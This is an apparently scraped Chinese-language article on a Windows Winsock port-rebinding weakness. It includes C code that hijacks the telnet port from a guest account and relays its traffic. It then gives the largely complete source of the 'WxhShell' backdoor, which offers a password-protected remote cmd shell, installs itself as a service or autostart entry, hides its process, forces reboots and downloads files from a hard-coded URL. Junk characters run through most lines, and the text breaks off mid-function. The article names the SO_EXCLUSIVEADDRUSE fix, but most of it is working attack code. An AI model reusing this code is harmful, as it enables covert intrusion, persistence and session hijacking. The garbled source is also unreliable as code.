在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
mw";l$Aq} s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
nJ |O,*`O J:Uf}!D saddr.sin_family = AF_INET;
h"cLZM:6 :ak D saddr.sin_addr.s_addr = htonl(INADDR_ANY);
NJSzOL_ Q[`J= bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/~V.qisZ DesvnV'{`
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%m1k^ c%c/mata? 这意味着什么?意味着可以进行如下的攻击:
1[o] u:m9U ?#ue:O1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+lmMBjDa He="S3XON 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
'$*d:1 -Czq[n=0( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
~,KAJ7O_ Au &NQ+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Ffk$8" Rq~\Yf+Pm 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
GJW+'-f 9qkH~B7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
V`?2g_4N Z{RRhJ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5OP$n]|( gBz$RfyF #include
Ac!,#Fq #include
Xm&L@2V #include
~fB}v #include
#$7 z DWORD WINAPI ClientThread(LPVOID lpParam);
X9C)FS int main()
(qT_4b~ {
pe=Ou0 WORD wVersionRequested;
5"Q3,4f DWORD ret;
&hWLG<IE WSADATA wsaData;
i"2[OM\j7 BOOL val;
1xg^;3m2 SOCKADDR_IN saddr;
b;K>Q!(| SOCKADDR_IN scaddr;
6z@OGExmd# int err;
!4d6wp" SOCKET s;
J;4x-R$W SOCKET sc;
L+2!Sc,> int caddsize;
pvM;2 HANDLE mt;
:L<$O7 DWORD tid;
zvB!= wVersionRequested = MAKEWORD( 2, 2 );
tyFhp:ZB err = WSAStartup( wVersionRequested, &wsaData );
yaV=e1W if ( err != 0 ) {
dP[l$/ printf("error!WSAStartup failed!\n");
qG3 [5lti return -1;
itb0dF1G }
I9P<!#q> saddr.sin_family = AF_INET;
6r"uDV #0 r1&b#r>
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
{?m;DYv fI(u-z~, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+N1oOcPC>C saddr.sin_port = htons(23);
O~F/{:U if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R>H*MvN {
'0x`Oh&PK printf("error!socket failed!\n");
&P{ return -1;
/l_$1<c }
Gs%IZo_ val = TRUE;
1><\3+8 //SO_REUSEADDR选项就是可以实现端口重绑定的
]z`Y'wSxd if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
xMJF1O?3 {
vf(8*}'!Q printf("error!setsockopt failed!\n");
;Vc@]6Ck return -1;
6J0HaL }
u38FY@U$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
#+Z3!VS //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
(x,w/1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
d&'z0]mOe ?PORPv# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
%:^,7
.H@ {
<Ur(< WTV ret=GetLastError();
E< nXkqD printf("error!bind failed!\n");
v<iMlOEt return -1;
<e"O`*ZJ }
yO.3~H)c listen(s,2);
|eL&hwqzG while(1)
iA*Z4FKkT {
a6=mE?JTB caddsize = sizeof(scaddr);
Vr/UbgucJ //接受连接请求
/=Bz[O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<y5V],-U if(sc!=INVALID_SOCKET)
mMmzi4HL {
iJ_`ZM.w mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
(;YO]U4 if(mt==NULL)
'8`{u[: {
CBdSgHA3> printf("Thread Creat Failed!\n");
7 y}b (q= break;
!
{lcF% }
2%\Nq:;T }
Jhu<^pjs CloseHandle(mt);
cC
w,b] }
pj>b6^TI6C closesocket(s);
'Ht$LqG WSACleanup();
dgPJte%i return 0;
;hR!j!3} }
e'aKI]>a DWORD WINAPI ClientThread(LPVOID lpParam)
<$Q\vCR {
4S|! iOY SOCKET ss = (SOCKET)lpParam;
])h={gI SOCKET sc;
;AKtbS;H unsigned char buf[4096];
B[7|]"L@ SOCKADDR_IN saddr;
*>%34m93 long num;
T.="a2iS2 DWORD val;
hkSpG{;7 DWORD ret;
K[)N/Q //如果是隐藏端口应用的话,可以在此处加一些判断
YfUdpa0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
m! &bK5+* saddr.sin_family = AF_INET;
WmLl.Vv= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
awuUaE saddr.sin_port = htons(23);
Zy@35;r if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%Q"zU9 {
Ga~N7 printf("error!socket failed!\n");
_i~n!v return -1;
6~GaFmW= }
;>[).fX>/ val = 100;
g6EdCG.V if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=Xzqp, {
f ^mxj/%L ret = GetLastError();
YXXUYi~!f return -1;
d}tn/Eu?B }
9x.vz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Dr6"~5~9w {
OO_{o ret = GetLastError();
LA$uD?YA return -1;
3P Twpq1 }
0K7]<\) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
zNRoFz. {
lqAU5K{wQ printf("error!socket connect failed!\n");
USu/Y29 closesocket(sc);
6,M>' s,N closesocket(ss);
==(9P`\ return -1;
,$5; }
nS[0g^} while(1)
ZmO/6_nU? {
?6Cbx6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
uoFH{.) //如果是嗅探内容的话,可以再此处进行内容分析和记录
wE3^6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ba|x?kz num = recv(ss,buf,4096,0);
a{Y:hrd:Z if(num>0)
{r.#R|
4v send(sc,buf,num,0);
Vi`+2%4 else if(num==0)
gwQL9
UYx break;
//KTEAYyy# num = recv(sc,buf,4096,0);
!.iu_xJ if(num>0)
H7G*Vg send(ss,buf,num,0);
mn\e(WoX else if(num==0)
KrVF>bq+ break;
',8]vWsl }
isHa4 D0 closesocket(ss);
I%%\;Dy closesocket(sc);
x*5'
6 return 0 ;
Q@%VJPLv. }
AQ. Y-'\t `d6
{Tli ~ $#DB@b ==========================================================
f[ GH MUz.-YRt 下边附上一个代码,,WXhSHELL
oLk>|J btw_k+Fh ==========================================================
+^<CJNDL9 hF+YZU]rT #include "stdafx.h"
K"eR6_k $;7?w-. #include <stdio.h>
aGNt?)8WPZ #include <string.h>
*j><a #include <windows.h>
VJD$nh
#M5 #include <winsock2.h>
k]Y+C@g #include <winsvc.h>
>!A&@1[M #include <urlmon.h>
!l~tBJr*sB 4PTHUyX #pragma comment (lib, "Ws2_32.lib")
ItQI M# #pragma comment (lib, "urlmon.lib")
e`4OlM] kJy<vb~
#define MAX_USER 100 // 最大客户端连接数
/YHBhoat #define BUF_SOCK 200 // sock buffer
:<gmgI #define KEY_BUFF 255 // 输入 buffer
.Xo, BEjE/ ywmx6q4MFL #define REBOOT 0 // 重启
N4!YaQQ;} #define SHUTDOWN 1 // 关机
2uS&A
\ ujB:G0'r #define DEF_PORT 5000 // 监听端口
-`]B4Nt6 ]jG%<j9A #define REG_LEN 16 // 注册表键长度
W5$jIQ}Bw #define SVC_LEN 80 // NT服务名长度
Z4}Yw{=f Y[$[0 // 从dll定义API
RmO-".$yt typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
c;w
cgU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
W>dS@;E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4a>z]&s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!OPK?7 a~OCo // wxhshell配置信息
,f$A5RN struct WSCFG {
Qz{:m int ws_port; // 监听端口
!fwLC"QC char ws_passstr[REG_LEN]; // 口令
ex $d~ int ws_autoins; // 安装标记, 1=yes 0=no
&xr?yd char ws_regname[REG_LEN]; // 注册表键名
)Be}Ev#)Zx char ws_svcname[REG_LEN]; // 服务名
6h}f^eJ:K, char ws_svcdisp[SVC_LEN]; // 服务显示名
:
i3 -7k char ws_svcdesc[SVC_LEN]; // 服务描述信息
QYVT"$= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
T'\lntN int ws_downexe; // 下载执行标记, 1=yes 0=no
{4CkF\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
eN>=x40 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
~yt+xWV _zJY1cr };
"6
dC -#3B>VY // default Wxhshell configuration
/ !jd%,G struct WSCFG wscfg={DEF_PORT,
vBj{bnl "xuhuanlingzhe",
V5K`TC^ 1,
Q^DKKp "Wxhshell",
wP+wA}SN "Wxhshell",
BB|w-W=Kd "WxhShell Service",
+ 3aAL& "Wrsky Windows CmdShell Service",
4 rw<C07Z "Please Input Your Password: ",
^WVH z;
1,
$0AN5 |`g\ "
http://www.wrsky.com/wxhshell.exe",
S3P;@Rm "Wxhshell.exe"
zK}$W73W^ };
!HY+6!hk 9H" u\t|? // 消息定义模块
x
a7x
2]~- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
06]J] char *msg_ws_prompt="\n\r? for help\n\r#>";
0{@E=}}h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Hp8)-eT char *msg_ws_ext="\n\rExit.";
SE;Jl[PgcL char *msg_ws_end="\n\rQuit.";
Z[FSy-;" char *msg_ws_boot="\n\rReboot...";
kZ[E493bV char *msg_ws_poff="\n\rShutdown...";
v5; c}n char *msg_ws_down="\n\rSave to ";
[q?{e1 [L{q char *msg_ws_err="\n\rErr!";
ql2>C.k3L char *msg_ws_ok="\n\rOK!";
m.&z:`x[ 3EI$tP @4 char ExeFile[MAX_PATH];
wg<DV!GZ int nUser = 0;
b_|`jHes HANDLE handles[MAX_USER];
>(|T]u](q int OsIsNt;
W-<C%9O! t1 OnA#]/_ SERVICE_STATUS serviceStatus;
*<i
{
Mb Q SERVICE_STATUS_HANDLE hServiceStatusHandle;
vc^qpOk SYw>P1 // 函数声明
va:5pvt2& int Install(void);
KaauX
m int Uninstall(void);
f]qPxRw int DownloadFile(char *sURL, SOCKET wsh);
{3i.U028] int Boot(int flag);
Eii)zo8Xd void HideProc(void);
`$AX!,<!G int GetOsVer(void);
H CZ#7Z int Wxhshell(SOCKET wsl);
G9 ;X=c void TalkWithClient(void *cs);
\{\*h /m int CmdShell(SOCKET sock);
MIsjTKE int StartFromService(void);
#B88w9
b`D int StartWxhshell(LPSTR lpCmdLine);
"S,,Bj L <KoiZ{V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
MQG(n +c VOID WINAPI NTServiceHandler( DWORD fdwControl );
H]H*Ouu["e ?.LS_e_0 // 数据结构和表定义
.Lr;{B SERVICE_TABLE_ENTRY DispatchTable[] =
:tl*>d~ {
P bj &l0C {wscfg.ws_svcname, NTServiceMain},
D2# 3fM6 {NULL, NULL}
YiTiJ9jf };
,_!pUal ;*BG{rkr // 自我安装
Q=)$ int Install(void)
fk<0~tE {
9G[!"eZ} char svExeFile[MAX_PATH];
7YV}F9h4 HKEY key;
rUc2'Ct strcpy(svExeFile,ExeFile);
(OLj E]9; %|*tL7 // 如果是win9x系统,修改注册表设为自启动
sy.FMy+ if(!OsIsNt) {
_rdEur C6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FMc$?mm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^a0{"|Lq RegCloseKey(key);
}u5/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hbl:~O&a/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Bk_23ygO_ RegCloseKey(key);
j_H9l,V return 0;
)>QpR8
G- }
V8@VR`!' }
fZw/kjx@ }
e4fh<0gX else {
2-s ,PQno^ 7y5`YJ}! // 如果是NT以上系统,安装为系统服务
G|H+
,B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
--6C>iY[&u if (schSCManager!=0)
UMILAoR {
bBk_2lg=4) SC_HANDLE schService = CreateService
y'((
tBWa! (
s /"&k schSCManager,
"oz
: & #+ wscfg.ws_svcname,
T`mG+"O wscfg.ws_svcdisp,
+DmfqKKbd SERVICE_ALL_ACCESS,
6!sC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
!nQ_< SERVICE_AUTO_START,
P(a!I{A( SERVICE_ERROR_NORMAL,
v*iD)k:|t svExeFile,
K|%.mcs4 NULL,
_C2iP[YwQ{ NULL,
2w_[c. NULL,
!'8.qs NULL,
t6DgWKT6 NULL
K~$A2b95 );
hfE5[ if (schService!=0)
-+?ZJ^A {
OyH>N/ CloseServiceHandle(schService);
G8z.JX-7g CloseServiceHandle(schSCManager);
"m,)3zND3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
R&KFF'% strcat(svExeFile,wscfg.ws_svcname);
|(u6xPs;P if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<| 8N\FU{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
1Bp?HyCR RegCloseKey(key);
q4=Gj`\43 return 0;
*eL&fC }
c|m*<
i }
NXo$rf: CloseServiceHandle(schSCManager);
?*cr|G$r[ }
v+Mi"ZAd }
B6ee\23 eocq Hwbv return 1;
~8:q-m_h }
i]x_W@h ;O8'vp // 自我卸载
O/Cwm;&t int Uninstall(void)
CoZOKRoaH {
o]/*YaB2> HKEY key;
IJ\4S ^x2zMB\t if(!OsIsNt) {
NH9"89]E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3MX&%_wUhB RegDeleteValue(key,wscfg.ws_regname);
WN#S%G:Q) RegCloseKey(key);
U/}YpLgdD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8uAA6h+ RegDeleteValue(key,wscfg.ws_regname);
=Ot|d #_ RegCloseKey(key);
L7\V^f%yCm return 0;
Rtpk_ND! }
9U&~H*Hf }
RK)1@Tz7! }
<ks+JkW_ else {
Hq$&rNnq\ pLj[b4p9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
o-I:p$B - if (schSCManager!=0)
+2xgMN6B@ {
9Xl[AVs:M
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
sE^ee2]OI@ if (schService!=0)
7<GC{/^T {
| KtI:n4d if(DeleteService(schService)!=0) {
IVSOSl| CloseServiceHandle(schService);
]QC9y:3 CloseServiceHandle(schSCManager);
&fofFVQnW return 0;
Jlp nR#@ }
Sf*1Z~P| CloseServiceHandle(schService);
V#X#rDfJZ }
Ua hsX CloseServiceHandle(schSCManager);
;n,xu0/ }
mqj]=Fq* }
B SH2Kq *T6*Nxs0k return 1;
+~(SeTY }
~aPe?{yIUa f8e :J#jbS // 从指定url下载文件
hk+8s\%- int DownloadFile(char *sURL, SOCKET wsh)
%>'Zy6C<j {
?7=c` HRESULT hr;
`6y=ky., char seps[]= "/";
[[$dPa9 char *token;
=xw+cs1,x char *file;
] M`%@ps char myURL[MAX_PATH];
ylm #Xa char myFILE[MAX_PATH];
3 C{A PI\C*_. strcpy(myURL,sURL);
'VgEf:BS token=strtok(myURL,seps);
"?%2`*\ while(token!=NULL)
TB}6iIe {
'uC=xG.*} file=token;
W{m_yEOf token=strtok(NULL,seps);
}ChS cY }
CY~ S{w t"JE+G GetCurrentDirectory(MAX_PATH,myFILE);
"7q!u,u strcat(myFILE, "\\");
GJ5R <f9I strcat(myFILE, file);
S86,m= send(wsh,myFILE,strlen(myFILE),0);
?wP/l send(wsh,"...",3,0);
]!q>@b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Um^4[rl:#g if(hr==S_OK)
9;7Gzr6A" return 0;
o_8Wnx^ else
av&~A+b.r return 1;
v-Tkp
Yn j(A>M_f; }
3{)!T;W d
OUq%d8W // 系统电源模块
A(_HMqA] int Boot(int flag)
nz|6CP {
{p.^E5& HANDLE hToken;
&@K6;T TOKEN_PRIVILEGES tkp;
b)eoFc)lc 1etT." if(OsIsNt) {
9(3]t}J5
d OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ZIN1y;dJ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
,eGguNA9 tkp.PrivilegeCount = 1;
GKc? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7KesfH? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u*f`\vs if(flag==REBOOT) {
/WGD7\G'8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
q68CU~i* return 0;
C7O8B; }
2?Y8hm else {
+BeA4d8b if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
DIABR%0 return 0;
&gJ1*"$9 }
B(WmJ6e }
;>uB$8<_7 else {
B}S+/V`
Y5 if(flag==REBOOT) {
3 [j,d]\| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
=+LIGHIt return 0;
_Pno9| }
svx7 else {
AR!v%Z49i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
NE.h/+4 return 0;
v%$l( }
OK)>QGl }
wz1nV} &?@[bD'T return 1;
#|K{txC
}
tm/=Oc1p ,4S[<(T" // win9x进程隐藏模块
t>Ye*eR*`U void HideProc(void)
?N<,;~ {
4[i 3ckFT, XD?Lu
_. HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
BTD_j&+( if ( hKernel != NULL )
X!:J1'FE {
#]dq^B~~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
gg.]\#3g ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
B`.aQ FreeLibrary(hKernel);
[(2^oTSRaq }
fP:]s@$ mKjTJzS return;
O&MH5^I }
qdLzB /O<~n%< G // 获取操作系统版本
9 Jw,ls int GetOsVer(void)
>yr;Y4y7K {
/lbj!\~ OSVERSIONINFO winfo;
W/\pqH winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
)H @<A93 GetVersionEx(&winfo);
<jh7G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
-.r"|\1X return 1;
TFG?
EO else
D_?Tj return 0;
ZR
-RzT1 }
u(FOSmNkN
&a4FGzR# // 客户端句柄模块
#q K.AZi int Wxhshell(SOCKET wsl)
J90:c@O"w {
cpl Ny?UIC SOCKET wsh;
Ux1j +}y struct sockaddr_in client;
T9}~]zW7P DWORD myID;
qSlo)aP YzQ(\._s while(nUser<MAX_USER)
`y61Bz {
L*dGo,oN int nSize=sizeof(client);
a_bZT4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7TEpjSuF if(wsh==INVALID_SOCKET) return 1;
@`)>-k gm
pY[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
`*[\b9> if(handles[nUser]==0)
Y#I8gzv closesocket(wsh);
yZ{N$ch5b else
H\V?QDn nUser++;
?A;RTM }
O:8
u^TP WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
h<)ceD<, qE3Ud:j return 0;
rHjDf[5+ }
C[<{>fl) 'zav%}b]L // 关闭 socket
+'SL5d* void CloseIt(SOCKET wsh)
8G3 Z,8P4( {
1) K<x closesocket(wsh);
x${C[gxq9F nUser--;
L-)ZjXzk ExitThread(0);
jJw }
p[o]ouTcS jygUf| // 客户端请求句柄
eI:x4K,# void TalkWithClient(void *cs)
]KEE+o {
Ky7.&6\n Q|P
M6ta SOCKET wsh=(SOCKET)cs;
4W|cIcU
W char pwd[SVC_LEN];
@{#'y4\> char cmd[KEY_BUFF];
P=1Ku|k char chr[1];
WY QVe_<z: int i,j;
iDX<`) OM^`P while (nUser < MAX_USER) {
E.;Hm; n:B){'S if(wscfg.ws_passstr) {
A W6B[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g33Y$Xdk //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:R=7dH~r //ZeroMemory(pwd,KEY_BUFF);
WV'u}-v^ i=0;
:Cezk D& while(i<SVC_LEN) {
Z2@e~&L fd #QCs // 设置超时
xjF>AAM_Px fd_set FdRead;
g]JRAM struct timeval TimeOut;
8RuW[T? FD_ZERO(&FdRead);
TghT{h@ FD_SET(wsh,&FdRead);
<$hv{a TimeOut.tv_sec=8;
4YI6& TimeOut.tv_usec=0;
c%O97J.5b int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}"nm3\Df if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
!SE `n-/~7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
?7TmAll<.s pwd
=chr[0]; cAGM|%
if(chr[0]==0xd || chr[0]==0xa) { }f_@@#KB?
pwd=0; RhmkpboucC
break; ctHQZ#.[(
} o3\^9-jmp
i++; f3n^Sw&Q(Q
} t5_76'@cX
Z
ztp %2c
// 如果是非法用户,关闭 socket ]K8G}|Wy6
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -hfkF+=U'
} suIYfjh
o<p4r}*AVJ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %-fS:~$
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p
%.Adxx
p<h(
while(1) { bC"h7$3
Ac{Tq iIv
ZeroMemory(cmd,KEY_BUFF); ^b~ZOg[p
)(yaX
// 自动支持客户端 telnet标准 v!DK.PZbi
j=0; )Ghw!m
while(j<KEY_BUFF) { {S-M] LE
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J E5qR2VA
cmd[j]=chr[0]; Z_dL@\#|
if(chr[0]==0xa || chr[0]==0xd) { K:qc
"Q=C
cmd[j]=0; vol (%wB
break; 8kSyT'kC%
} ]8OmYU%6V
j++; h+!R)q8M
} wj0_X;L
LjEMs\P\
// 下载文件 k >.U !
if(strstr(cmd,"http://")) { 6Y6t.j0vN.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); w;(=wN\
if(DownloadFile(cmd,wsh)) q&3(yhx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _*g.U=u
else Z8/.I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^V9|uHOJoq
} AB0}6g^O
else { ~.J*_0~Ze
6vTnm4
switch(cmd[0]) { gaNe\
_,v?rFLE
// 帮助 +t*I{X(
case '?': { uit.r^8l
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3?`TEw~'
break; IY[qWs
} @*L-lx
// 安装 G(shZ=fq
case 'i': { 3G 5xIr6
if(Install()) (RrC<5"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o(> #}[N}
else Z
eY*5m
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1#;^Z3
break; =_3rc\0
} b&QI#w
// 卸载 SYQP7oG9oQ
case 'r': { KRn[(yr`%
if(Uninstall()) yKK9b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @].!}tz
else xzfugW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XV4aR3n{Q
break; }X=c|]6i^
} #PPHxh*S
// 显示 wxhshell 所在路径 U|.r -$|5P
case 'p': { EBk-qd
a}
char svExeFile[MAX_PATH]; y=+OC1k\8
strcpy(svExeFile,"\n\r"); w8N1-D42
strcat(svExeFile,ExeFile); Y`$\o
send(wsh,svExeFile,strlen(svExeFile),0); #u+qV!4
break; s:_j,/H0A}
} g] ]6) nT
// 重启 =+?OsH
v
case 'b': { s S3RK
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W?!rqo2SP
if(Boot(REBOOT)) Hi$N"16A5z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3m4
sh~
else { n"}*C|(k
closesocket(wsh); 6@47%%,}
ExitThread(0); Wlq3r#
} "+`u ]
break; "Y5 :{Kj
} cD!E.2[
// 关机 c05-1
case 'd': { _*{Lha
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `D=d!!1eUi
if(Boot(SHUTDOWN)) Pk(%=P,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9&Y|,&W
else {
E;'{qp
closesocket(wsh); *}Gys/\!S
ExitThread(0); rK}sQ4z=
} kD1Nq~h2
break; lt]&o0>
} r}Gku0Hu_E
// 获取shell 0"TPY(n
case 's': { 'Ox "YE
CmdShell(wsh); ZFH-srs{
closesocket(wsh); ]mNsG0r6
ExitThread(0); L*|P'
break; }.WO=IZ
} Uugq.'>
// 退出 R^$EnrY(<
case 'x': { =b1
y*?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X&rsWk
CloseIt(wsh); ySDo(EI4
break; N'l2$8
} (]&B'1b
// 离开 9H:J&'Xi7
case 'q': { Zy?!;`c*{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]BRwJ2< x
closesocket(wsh); :9x]5;ma
WSACleanup(); *uccY_
exit(1); 2~ETu&R:
break; 7PUy`H,&
} @8aV*zjB
} 7i02M~*uS
} 08k
` l'QAIo
// 提示信息 *A}td8(
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U,fPG/9
} vo)W
ziHh
} (Nd)$Oq[4
hPGDN\#LD
return; "s_S!;w@
} <HS{A$]
=`N 0
// shell模块句柄 U#w0 E G
int CmdShell(SOCKET sock) ZZ :*c"b:
{ E KN<KnU%
STARTUPINFO si; 1;{nU.If
ZeroMemory(&si,sizeof(si)); k
7@:e$7
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~q/~ u
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qz2jV
PROCESS_INFORMATION ProcessInfo; /|h+,]<
>
char cmdline[]="cmd"; YD9vWk\/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u$ci{<
return 0; 'IVC!uL,%
} 0@EI@X;q
k.)YFKi
// 自身启动模式 'dzbeTJD5
int StartFromService(void) \'('HFr,
{ T?jN/}qg
typedef struct tO1k2<Z"Y&
{ 4 CiRh
DWORD ExitStatus; /!6 VP |
